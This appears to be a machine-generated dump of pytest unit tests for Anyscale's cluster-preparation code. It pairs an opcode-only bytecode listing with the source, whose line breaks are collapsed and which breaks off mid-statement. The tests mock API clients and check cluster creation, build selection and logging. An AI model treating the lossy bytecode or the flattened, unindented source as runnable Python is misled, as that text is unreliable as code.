CALL_FUNCTION LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client STORE_ATTR list_app_configs LOAD_GLOBAL Mock LOAD_CONST 'build1' LOAD_CONST 1 LOAD_CONST ('id', 'revision') CALL_FUNCTION STORE_FAST mock_build1 LOAD_GLOBAL Mock LOAD_CONST 'build2' LOAD_CONST 2 LOAD_CONST ('id', 'revision') CALL_FUNCTION STORE_FAST mock_build2 LOAD_GLOBAL Mock LOAD_GLOBAL Mock LOAD_FAST mock_build1 LOAD_FAST mock_build2 BUILD_LIST LOAD_GLOBAL Mock LOAD_CONST None LOAD_CONST ('next_paging_token',) CALL_FUNCTION LOAD_CONST ('results', 'metadata') CALL_FUNCTION LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client STORE_ATTR list_builds LOAD_FAST clust_env_revision LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST mock_prepare_cluster_block LOAD_METHOD _get_cluster_env_build LOAD_CONST 'test_cluster_env_name' LOAD_FAST clust_env_revision CALL_METHOD LOAD_FAST mock_build1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 152 LOAD_FAST mock_prepare_cluster_block LOAD_METHOD _get_cluster_env_build LOAD_CONST 'test_cluster_env_name' LOAD_FAST clust_env_revision CALL_METHOD LOAD_FAST mock_build2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Mock LOAD_CONST 'test_built_cluster_env_name' LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block STORE_ATTR _build_app_config_from_source LOAD_FAST mock_prepare_cluster_block LOAD_METHOD _build_cluster_env_if_needed LOAD_CONST 'test_project_id' LOAD_FAST build_pr LOAD_FAST build_commit LOAD_FAST cluster_env_dict LOAD_FAST cluster_env_name LOAD_CONST False CALL_METHOD STORE_FAST observed_result LOAD_FAST build_pr POP_JUMP_IF_TRUE LOAD_FAST build_commit POP_JUMP_IF_FALSE LOAD_FAST observed_result LOAD_CONST 'test_built_cluster_env_name' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 126 LOAD_FAST cluster_env_dict POP_JUMP_IF_FALSE LOAD_FAST cluster_env_name POP_JUMP_IF_FALSE LOAD_FAST observed_result LOAD_CONST 'test_cluster_env-name' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 90 LOAD_FAST observed_result LOAD_METHOD startswith LOAD_CONST 'anonymous_cluster_env-' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client LOAD_ATTR create_app_config LOAD_METHOD assert_called_once_with LOAD_FAST observed_result LOAD_CONST 'test_project_id' LOAD_FAST cluster_env_dict LOAD_CONST ('name', 'project_id', 'config_json') BUILD_CONST_KEY_MAP CALL_METHOD POP_TOP JUMP_FORWARD to 126 LOAD_FAST observed_result LOAD_FAST cluster_env_name COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'test_cloud_id' STORE_FAST cloud_id LOAD_GLOBAL Mock LOAD_FAST cloud_id LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_get_selected_cloud_id_or_default LOAD_GLOBAL Mock CALL_FUNCTION STORE_FAST mock_default_config_obj LOAD_GLOBAL Mock CALL_FUNCTION STORE_FAST mock_config_obj_from_cluster_compute_dict LOAD_GLOBAL Mock LOAD_GLOBAL Mock LOAD_FAST mock_default_config_obj LOAD_CONST ('result',) CALL_FUNCTION LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client STORE_ATTR get_default_compute_config LOAD_GLOBAL Mock LOAD_CONST 'mock_registered_template' LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block STORE_ATTR _register_compute_template LOAD_GLOBAL Mock LOAD_CONST 'mock_cluster_compute_template' LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block STORE_ATTR _get_cluster_compute_id_from_name LOAD_GLOBAL patch LOAD_ATTR multiple LOAD_CONST 'anyscale.connect_utils.prepare_cluster' LOAD_GLOBAL Mock LOAD_FAST mock_config_obj_from_cluster_compute_dict LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_get_selected_cloud_id_or_default LOAD_CONST ('ComputeTemplateConfig', 'get_selected_cloud_id_or_default') CALL_FUNCTION SETUP_WITH to 116 POP_TOP LOAD_FAST mock_prepare_cluster_block LOAD_METHOD _get_cluster_compute_id LOAD_CONST 'test_project_id' LOAD_FAST cluster_compute_name LOAD_FAST cluster_compute_dict LOAD_FAST cloud_name LOAD_FAST cluster_compute_version CALL_METHOD STORE_FAST observed_result POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST cluster_compute_name POP_JUMP_IF_FALSE LOAD_FAST mock_prepare_cluster_block LOAD_ATTR _get_cluster_compute_id_from_name LOAD_METHOD assert_called_once_with LOAD_FAST cluster_compute_name LOAD_FAST cluster_compute_version CALL_METHOD POP_TOP LOAD_FAST observed_result LOAD_CONST 'mock_cluster_compute_template' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 208 LOAD_FAST cluster_compute_dict POP_JUMP_IF_FALSE LOAD_FAST mock_config_obj_from_cluster_compute_dict STORE_FAST mock_config_obj JUMP_FORWARD to 182 LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client LOAD_ATTR get_default_compute_config LOAD_METHOD assert_called_once_with LOAD_FAST cloud_id CALL_METHOD POP_TOP LOAD_FAST mock_default_config_obj STORE_FAST mock_config_obj LOAD_FAST mock_prepare_cluster_block LOAD_ATTR _register_compute_template LOAD_METHOD assert_called_once_with LOAD_CONST 'test_project_id' LOAD_FAST mock_config_obj CALL_METHOD POP_TOP LOAD_FAST observed_result LOAD_CONST 'mock_registered_template' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Mock LOAD_GLOBAL Mock LOAD_FAST cluster_computes LOAD_CONST ('results',) CALL_FUNCTION LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block LOAD_ATTR api_client STORE_ATTR search_compute_templates_api_v2_compute_templates_search_post LOAD_GLOBAL len LOAD_FAST cluster_computes CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL ValueError CALL_METHOD SETUP_WITH to 60 POP_TOP LOAD_FAST mock_prepare_cluster_block LOAD_METHOD _get_cluster_compute_id_from_name LOAD_CONST 'test_cluster_compute_name' LOAD_FAST cluster_compute_version CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY JUMP_FORWARD to 94 LOAD_FAST mock_prepare_cluster_block LOAD_METHOD _get_cluster_compute_id_from_name LOAD_CONST 'test_cluster_compute_name' LOAD_FAST cluster_compute_version CALL_METHOD LOAD_FAST cluster_computes LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR id COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL str LOAD_CONST ('cluster_compute_id',) BUILD_CONST_KEY_MAP LOAD_CLOSURE cluster_compute_1 LOAD_CLOSURE cluster_compute_2 BUILD_TUPLE LOAD_CONST <code object mock_get_compute_template at 0x7f8e2fb92300, file "f.py", line 488> LOAD_CONST 'test_is_equal_cluster_compute.<locals>.mock_get_compute_template' MAKE_FUNCTION STORE_FAST mock_get_compute_template LOAD_GLOBAL Mock LOAD_FAST mock_get_compute_template LOAD_CONST ('side_effect',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client STORE_ATTR get_compute_template LOAD_CONST 'test_cluster_compute' STORE_DEREF cluster_compute_1 LOAD_CONST 'test_cluster_compute' STORE_DEREF cluster_compute_2 LOAD_FAST mock_prepare_cluster_block LOAD_METHOD _is_equal_cluster_compute LOAD_CONST 'cluster_compute_1_id' LOAD_CONST 'cluster_compute_2_id' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'test_cluster_compute' STORE_DEREF cluster_compute_1 LOAD_CONST 'test_diff_cluster_compute' STORE_DEREF cluster_compute_2 LOAD_FAST mock_prepare_cluster_block LOAD_METHOD _is_equal_cluster_compute LOAD_CONST 'cluster_compute_1_id' LOAD_CONST 'cluster_compute_2_id' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST cluster_compute_id LOAD_CONST 'cluster_compute_1_id' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL Mock LOAD_GLOBAL Mock LOAD_DEREF cluster_compute_1 LOAD_CONST ('config',) CALL_FUNCTION LOAD_CONST ('result',) CALL_FUNCTION RETURN_VALUE LOAD_FAST cluster_compute_id LOAD_CONST 'cluster_compute_2_id' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL Mock LOAD_GLOBAL Mock LOAD_DEREF cluster_compute_2 LOAD_CONST ('config',) CALL_FUNCTION LOAD_CONST ('result',) CALL_FUNCTION RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Mock CALL_FUNCTION STORE_FAST mock_cluster LOAD_CONST 'mock_build_id1' LOAD_FAST mock_cluster STORE_ATTR build_id LOAD_CONST True LOAD_FAST mock_cluster STORE_ATTR allow_public_internet_traffic LOAD_CONST 'test_cluster_env_name' LOAD_FAST mock_prepare_cluster_block STORE_ATTR cluster_env_name LOAD_CONST 'test_cluster_env_revision' LOAD_FAST mock_prepare_cluster_block STORE_ATTR cluster_env_revision LOAD_CONST 'test_cluster_compute_name' LOAD_FAST mock_prepare_cluster_block STORE_ATTR cluster_compute_name LOAD_CONST 'test_cluster_compute_dict' LOAD_FAST mock_prepare_cluster_block STORE_ATTR cluster_compute_dict LOAD_CONST 'test_cloud_name' LOAD_FAST mock_prepare_cluster_block STORE_ATTR cloud_name LOAD_CONST 'test_cluster_env_dict' LOAD_FAST mock_prepare_cluster_block STORE_ATTR cluster_env_dict LOAD_CONST 2 LOAD_FAST mock_prepare_cluster_block STORE_ATTR cluster_compute_version LOAD_GLOBAL Mock CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block STORE_ATTR _get_cluster_compute_id LOAD_FAST build_matches POP_JUMP_IF_FALSE LOAD_GLOBAL Mock LOAD_GLOBAL Mock LOAD_CONST 'mock_build_id1' LOAD_CONST ('id',) CALL_FUNCTION LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block STORE_ATTR _get_cluster_build JUMP_FORWARD to 110 LOAD_GLOBAL Mock LOAD_GLOBAL Mock LOAD_CONST 'mock_build_id2' LOAD_CONST ('id',) CALL_FUNCTION LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block STORE_ATTR _get_cluster_build LOAD_GLOBAL Mock LOAD_FAST cluster_compute_matches LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block STORE_ATTR _is_equal_cluster_compute LOAD_FAST allow_public_internet_traffic_matches LOAD_FAST mock_prepare_cluster_block STORE_ATTR allow_public_internet_traffic LOAD_FAST mock_prepare_cluster_block LOAD_METHOD _validate_new_cluster_compute_and_env_match_existing_cluster LOAD_CONST 'test_projet_id' LOAD_FAST mock_cluster CALL_METHOD STORE_FAST observed_result LOAD_FAST build_matches POP_JUMP_IF_FALSE LOAD_FAST cluster_compute_matches POP_JUMP_IF_TRUE LOAD_FAST allow_public_internet_traffic_matches POP_JUMP_IF_TRUE LOAD_FAST observed_result POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'test_cluster_name' STORE_FAST cluster_name LOAD_GLOBAL Mock LOAD_FAST get_prepare_cluster_action LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_get_prepare_cluster_action LOAD_GLOBAL Mock LOAD_CONST 'mock_cloud_id' LOAD_CONST 'mock_cluster_compute_id' LOAD_CONST ('cloud_id', 'compute_template_id') CALL_FUNCTION STORE_FAST mock_cluster LOAD_CONST 'test_cluster_name' LOAD_FAST mock_cluster STORE_ATTR name LOAD_GLOBAL Mock LOAD_FAST cluster_env_name LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_build_cluster_env_if_needed LOAD_GLOBAL Mock LOAD_GLOBAL Mock LOAD_CONST 'mock_build_id' LOAD_CONST ('id',) CALL_FUNCTION LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_get_cluster_build LOAD_GLOBAL Mock LOAD_CONST 'mock_cloud_id' LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_get_selected_cloud_id_or_default LOAD_GLOBAL Mock LOAD_CONST 'mock_cluster_compute_id' LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_get_cluster_compute_id LOAD_GLOBAL Mock CALL_FUNCTION STORE_FAST mock_wait_for_app_build LOAD_GLOBAL Mock LOAD_CONST 'test_cluster_name' LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_start_or_create_cluster LOAD_GLOBAL Mock CALL_FUNCTION STORE_FAST mock_validate_new_cluster_compute_and_env_match_existing_cluster LOAD_GLOBAL Mock CALL_FUNCTION STORE_FAST mock_log_cluster_configs LOAD_GLOBAL Mock CALL_FUNCTION STORE_FAST mock_cluster_compute_dict LOAD_GLOBAL Mock CALL_FUNCTION STORE_FAST mock_force_rebuild LOAD_GLOBAL Mock CALL_FUNCTION STORE_FAST mock_cluster_env_dict LOAD_GLOBAL Mock CALL_FUNCTION STORE_FAST mock_cluster_env_revision LOAD_GLOBAL patch LOAD_ATTR multiple LOAD_CONST 'anyscale.connect_utils.prepare_cluster.PrepareClusterBlock' LOAD_FAST mock_log_cluster_configs LOAD_FAST mock_validate_new_cluster_compute_and_env_match_existing_cluster LOAD_FAST mock_start_or_create_cluster LOAD_FAST mock_wait_for_app_build LOAD_FAST mock_get_cluster_compute_id LOAD_FAST mock_get_cluster_build LOAD_FAST mock_build_cluster_env_if_needed LOAD_FAST mock_get_prepare_cluster_action LOAD_CONST ('_log_cluster_configs', '_validate_new_cluster_compute_and_env_match_existing_cluster', '_start_or_create_cluster', '_wait_for_app_build', '_get_cluster_compute_id', '_get_cluster_build', '_build_cluster_env_if_needed', '_get_prepare_cluster_action') CALL_FUNCTION SETUP_WITH to 274 POP_TOP LOAD_GLOBAL patch LOAD_ATTR multiple LOAD_CONST 'anyscale.connect_utils.prepare_cluster' LOAD_GLOBAL Mock LOAD_FAST mock_cluster LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_GLOBAL Mock LOAD_GLOBAL Mock CALL_FUNCTION LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_get_selected_cloud_id_or_default LOAD_CONST ('get_cluster', 'get_auth_api_client', 'get_selected_cloud_id_or_default') CALL_FUNCTION SETUP_WITH to 264 POP_TOP LOAD_GLOBAL PrepareClusterBlock LOAD_CONST 'test_project_id' LOAD_FAST cluster_name LOAD_CONST 10 LOAD_CONST None LOAD_CONST False LOAD_FAST cluster_compute_name LOAD_FAST mock_cluster_compute_dict LOAD_CONST 'test_cloud_name' LOAD_CONST None LOAD_FAST mock_force_rebuild LOAD_CONST None LOAD_FAST cluster_env_name LOAD_FAST mock_cluster_env_dict LOAD_FAST mock_cluster_env_revision LOAD_GLOBAL Mock CALL_FUNCTION LOAD_FAST cluster_compute_version LOAD_CONST ('project_id', 'cluster_name', 'autosuspend_timeout', 'allow_public_internet_traffic', 'needs_update', 'cluster_compute_name', 'cluster_compute_dict', 'cloud_name', 'build_pr', 'force_rebuild', 'build_commit', 'cluster_env_name', 'cluster_env_dict', 'cluster_env_revision', 'ray', 'cluster_compute_version') CALL_FUNCTION STORE_FAST prepare_cluster_block LOAD_FAST prepare_cluster_block LOAD_METHOD prepare CALL_METHOD POP_TOP LOAD_FAST prepare_cluster_block LOAD_ATTR cluster_name LOAD_CONST 'test_cluster_name' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST mock_get_prepare_cluster_action LOAD_METHOD assert_called_once_with LOAD_CONST 'test_project_id' LOAD_FAST cluster_name LOAD_CONST False CALL_METHOD POP_TOP LOAD_FAST get_prepare_cluster_action LOAD_GLOBAL PrepareClusterAction LOAD_ATTR CREATE LOAD_GLOBAL PrepareClusterAction LOAD_ATTR START BUILD_SET COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST mock_build_cluster_env_if_needed LOAD_METHOD assert_called_once_with LOAD_CONST 'test_project_id' LOAD_CONST None LOAD_CONST None LOAD_FAST mock_cluster_env_dict LOAD_FAST cluster_env_name LOAD_FAST mock_force_rebuild CALL_METHOD POP_TOP LOAD_FAST cluster_env_name EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST cluster_name EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST mock_get_cluster_build LOAD_METHOD assert_called_once_with LOAD_FAST cluster_env_name LOAD_FAST mock_cluster_env_revision CALL_METHOD POP_TOP LOAD_CONST 'mock_build_id' STORE_FAST build_id JUMP_FORWARD to 368 LOAD_FAST mock_cluster LOAD_ATTR build_id STORE_FAST build_id LOAD_FAST cluster_compute_name EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST mock_get_cluster_compute_id LOAD_METHOD assert_called_once_with LOAD_CONST 'test_project_id' LOAD_FAST cluster_compute_name LOAD_FAST mock_cluster_compute_dict LOAD_CONST 'test_cloud_name' LOAD_FAST cluster_compute_version CALL_METHOD POP_TOP LOAD_FAST mock_wait_for_app_build LOAD_METHOD assert_called_once_with LOAD_CONST 'test_project_id' LOAD_FAST build_id CALL_METHOD POP_TOP LOAD_FAST mock_start_or_create_cluster LOAD_ATTR assert_called_once_with LOAD_CONST 'test_project_id' LOAD_FAST build_id LOAD_CONST 'mock_cluster_compute_id' LOAD_FAST cluster_name LOAD_CONST 10 LOAD_CONST None LOAD_CONST ('project_id', 'build_id', 'compute_template_id', 'cluster_name', 'autosuspend_timeout', 'allow_public_internet_traffic') CALL_FUNCTION POP_TOP JUMP_FORWARD to 470 LOAD_FAST mock_validate_new_cluster_compute_and_env_match_existing_cluster LOAD_ATTR assert_called_once_with LOAD_CONST 'test_project_id' LOAD_FAST mock_cluster LOAD_CONST ('project_id', 'running_cluster') CALL_FUNCTION POP_TOP LOAD_FAST mock_log_cluster_configs LOAD_METHOD assert_called_once_with LOAD_FAST mock_cluster LOAD_FAST mock_cluster LOAD_ATTR build_id LOAD_FAST mock_cluster LOAD_ATTR compute_template_id LOAD_GLOBAL ANY CALL_METHOD POP_TOP LOAD_FAST mock_start_or_create_cluster LOAD_METHOD assert_not_called CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Mock LOAD_GLOBAL Mock LOAD_GLOBAL Mock LOAD_CONST 'env_name' LOAD_CONST 1 LOAD_CONST ('application_template_id', 'revision') CALL_FUNCTION LOAD_CONST ('result',) CALL_FUNCTION LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client STORE_ATTR get_build LOAD_GLOBAL Mock LOAD_CONST 'id' LOAD_GLOBAL Mock LOAD_FAST maximum_uptime_minutes LOAD_CONST ('maximum_uptime_minutes',) CALL_FUNCTION LOAD_CONST ('id', 'config') CALL_FUNCTION STORE_FAST mock_compute_config_config LOAD_CONST 'config_name' LOAD_FAST mock_compute_config_config STORE_ATTR name LOAD_GLOBAL Mock LOAD_GLOBAL Mock LOAD_FAST mock_compute_config_config LOAD_CONST ('result',) CALL_FUNCTION LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client STORE_ATTR get_compute_template LOAD_GLOBAL Mock LOAD_CONST 'ses_1' LOAD_FAST idle_timeout LOAD_CONST ('id', 'idle_timeout') CALL_FUNCTION STORE_FAST mock_cluster LOAD_CONST 'build_id' STORE_FAST mock_build_id LOAD_CONST 'compute_template_id' STORE_FAST mock_compute_template_id LOAD_CONST 'url' STORE_FAST mock_url LOAD_FAST mock_prepare_cluster_block LOAD_METHOD _log_cluster_configs LOAD_FAST mock_cluster LOAD_FAST mock_build_id LOAD_FAST mock_compute_template_id LOAD_FAST mock_url CALL_METHOD POP_TOP LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client LOAD_ATTR get_build LOAD_METHOD assert_called_once_with LOAD_FAST mock_build_id CALL_METHOD POP_TOP LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client LOAD_ATTR get_compute_template LOAD_METHOD assert_called_once_with LOAD_FAST mock_compute_template_id CALL_METHOD POP_TOP LOAD_GLOBAL str LOAD_GLOBAL str LOAD_GLOBAL _Call LOAD_CONST ('name', 'value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object call_args_for_log_line at 0x7f8e2fe3c270, file "f.py", line 718> LOAD_CONST 'test_log_cluster_configs.<locals>.call_args_for_log_line' MAKE_FUNCTION STORE_FAST call_args_for_log_line LOAD_GLOBAL int LOAD_GLOBAL str LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object get_auto_terminate_output at 0x7f8e2fe3ca50, file "f.py", line 721> LOAD_CONST 'test_log_cluster_configs.<locals>.get_auto_terminate_output' MAKE_FUNCTION STORE_FAST get_auto_terminate_output LOAD_FAST mock_prepare_cluster_block LOAD_ATTR log LOAD_ATTR info LOAD_METHOD assert_has_calls LOAD_FAST call_args_for_log_line LOAD_CONST 'cluster id' LOAD_CONST 'ses_1' CALL_FUNCTION LOAD_FAST call_args_for_log_line LOAD_CONST 'cluster environment' LOAD_CONST 'env_name:1' CALL_FUNCTION LOAD_FAST call_args_for_log_line LOAD_CONST 'cluster environment id' LOAD_CONST 'build_id' CALL_FUNCTION LOAD_FAST call_args_for_log_line LOAD_CONST 'cluster compute' LOAD_CONST 'config_name' CALL_FUNCTION LOAD_FAST call_args_for_log_line LOAD_CONST 'cluster compute id' LOAD_CONST 'compute_template_id' CALL_FUNCTION LOAD_FAST call_args_for_log_line LOAD_CONST 'idle termination' LOAD_FAST get_auto_terminate_output LOAD_FAST idle_timeout CALL_FUNCTION CALL_FUNCTION LOAD_FAST call_args_for_log_line LOAD_CONST 'maximum uptime' LOAD_FAST get_auto_terminate_output LOAD_FAST maximum_uptime_minutes CALL_FUNCTION CALL_FUNCTION LOAD_FAST call_args_for_log_line LOAD_CONST 'link' LOAD_CONST 'url' CALL_FUNCTION BUILD_LIST CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL call LOAD_CONST ' ' FORMAT_VALUE LOAD_FAST name LOAD_CONST ':' BINARY_ADD LOAD_METHOD ljust LOAD_CONST 30 CALL_METHOD FORMAT_VALUE LOAD_FAST value FORMAT_VALUE BUILD_STRING LOAD_CONST '' LOAD_CONST ('block_label',) CALL_FUNCTION RETURN_VALUE LOAD_FAST value LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST value FORMAT_VALUE LOAD_CONST ' minutes' BUILD_STRING RETURN_VALUE LOAD_CONST 'disabled' RETURN_VALUE
from typing import Any, Dict, List, Optional from unittest.mock import _Call, ANY, call, Mock, patch import pytest from anyscale.connect_utils.prepare_cluster import ( PrepareClusterAction, PrepareClusterBlock, ) from anyscale.sdk.anyscale_client import ( CreateCluster, StartClusterOptions, UpdateCluster, ) @pytest.fixture() def mock_prepare_cluster_block(): with patch.multiple( "anyscale.connect_utils.prepare_cluster.PrepareClusterBlock", __init__=Mock(return_value=None), ): prepare_cluster_block = PrepareClusterBlock() prepare_cluster_block.anyscale_api_client = Mock() prepare_cluster_block.api_client = Mock() prepare_cluster_block._ray = Mock() prepare_cluster_block.log = Mock() prepare_cluster_block.block_label = "" return prepare_cluster_block @pytest.mark.parametrize("cluster_name", [None, "test_cluster_name"]) @pytest.mark.parametrize("ray_cli_is_connected", [True, False]) def test_start_or_create_cluster( mock_prepare_cluster_block, cluster_name: Optional[str], ray_cli_is_connected: bool ): mock_prepare_cluster_block.anyscale_api_client.list_sessions = Mock( return_value=Mock(results=[], metadata=Mock(next_paging_token=None)) ) mock_prepare_cluster_block._ray.util.client.ray.is_connected = Mock( return_value=ray_cli_is_connected ) mock_cluster = Mock() mock_prepare_cluster_block._create_or_update_session_data = Mock( return_value=(mock_cluster, True) ) mock_prepare_cluster_block._start_cluster_if_required = Mock() mock_prepare_cluster_block._start_or_create_cluster( "test_project_id", "test_build_id", "test_compute_template_id", cluster_name, 100, None, ) if not cluster_name: mock_prepare_cluster_block.anyscale_api_client.list_sessions.assert_called_once_with( "test_project_id", count=50, paging_token=None ) if ray_cli_is_connected: mock_prepare_cluster_block._ray.util.disconnect.assert_called_once_with() mock_prepare_cluster_block._create_or_update_session_data.assert_called_once_with( cluster_name if cluster_name else "cluster-0", "test_project_id", "test_build_id", "test_compute_template_id", 100, False, not cluster_name, ) mock_prepare_cluster_block._start_cluster_if_required.assert_called_once_with( mock_cluster, True, "test_project_id", "test_build_id", "test_compute_template_id", None, ) @pytest.mark.parametrize("start_required", [True, False]) @pytest.mark.parametrize("allow_public_internet_traffic", [True, False]) def test_start_cluster_if_required( mock_prepare_cluster_block, start_required: bool, allow_public_internet_traffic: bool, ): mock_cluster = Mock(id="test_cluster_id") mock_cluster.name = "test_cluster_name" mock_prepare_cluster_block._create_or_update_session_data = Mock( return_value=(mock_cluster, start_required) ) mock_prepare_cluster_block._log_cluster_configs = Mock() mock_wait_for_session_start = Mock() with patch.multiple( "anyscale.connect_utils.prepare_cluster", wait_for_session_start=mock_wait_for_session_start, ): mock_prepare_cluster_block._start_cluster_if_required( mock_cluster, start_required, "test_project_id", "test_build_id", "test_compute_template_id", allow_public_internet_traffic, ) mock_prepare_cluster_block._log_cluster_configs.assert_called_once_with( mock_cluster, "test_build_id", "test_compute_template_id", ANY ) if start_required: mock_prepare_cluster_block.anyscale_api_client.start_cluster.assert_called_once_with( mock_cluster.id, StartClusterOptions( cluster_environment_build_id="test_build_id", cluster_compute_id="test_compute_template_id", allow_public_internet_traffic=allow_public_internet_traffic, ), ) mock_wait_for_session_start.assert_called_once_with( "test_project_id", "test_cluster_name", mock_prepare_cluster_block.api_client, log=mock_prepare_cluster_block.log, block_label=mock_prepare_cluster_block.block_label, ) @pytest.mark.parametrize("cluster_exists", [True, False]) @pytest.mark.parametrize("start_required", [True, False]) @pytest.mark.parametrize( ("idle_timeout", "expected_idle_timeout"), [(None, 120), (100, 100)] ) def test_create_or_update_session_data( mock_prepare_cluster_block, cluster_exists: bool, start_required: bool, idle_timeout: Optional[int], expected_idle_timeout: int, ): mock_cluster = Mock(state="Running", id="test_cluster_id") mock_get_cluster = Mock( side_effect=[(mock_cluster if cluster_exists else None), mock_cluster] ) mock_prepare_cluster_block._validate_new_cluster_compute_and_env_match_existing_cluster = Mock( return_value=start_required ) with patch.multiple( "anyscale.connect_utils.prepare_cluster", get_cluster=mock_get_cluster ): mock_prepare_cluster_block._create_or_update_session_data( "test_cluster_name", "test_project_id", "test_build_id", "test_compute_template_id", idle_timeout, None, ) if not cluster_exists: mock_get_cluster.assert_called_with( mock_prepare_cluster_block.anyscale_api_client, "test_project_id", "test_cluster_name", ) assert mock_get_cluster.call_count == 2 mock_prepare_cluster_block.anyscale_api_client.create_cluster.assert_called_once_with( CreateCluster( name="test_cluster_name", project_id="test_project_id", cluster_environment_build_id="test_build_id", cluster_compute_id="test_compute_template_id", idle_timeout_minutes=expected_idle_timeout, allow_public_internet_traffic=None, ) ) mock_prepare_cluster_block.anyscale_api_client.update_cluster.assert_not_called() mock_prepare_cluster_block._validate_new_cluster_compute_and_env_match_existing_cluster.assert_not_called() else: mock_get_cluster.assert_called_once_with( mock_prepare_cluster_block.anyscale_api_client, "test_project_id", "test_cluster_name", ) mock_prepare_cluster_block.anyscale_api_client.create_cluster.assert_not_called() mock_prepare_cluster_block._validate_new_cluster_compute_and_env_match_existing_cluster.assert_called_once_with( "test_project_id", mock_cluster, print_warnings=False ) if idle_timeout: mock_prepare_cluster_block.anyscale_api_client.update_cluster.assert_called_once_with( mock_cluster.id, UpdateCluster(idle_timeout_minutes=idle_timeout) ) def test_create_or_update_session_data_generates_new_cluster_name( mock_prepare_cluster_block, ): mock_taken_cluster = Mock( state="Running", id="test_cluster_id", name="cluster-exists" ) mock_new_cluster = Mock( state="Running", id="test_cluster_id", 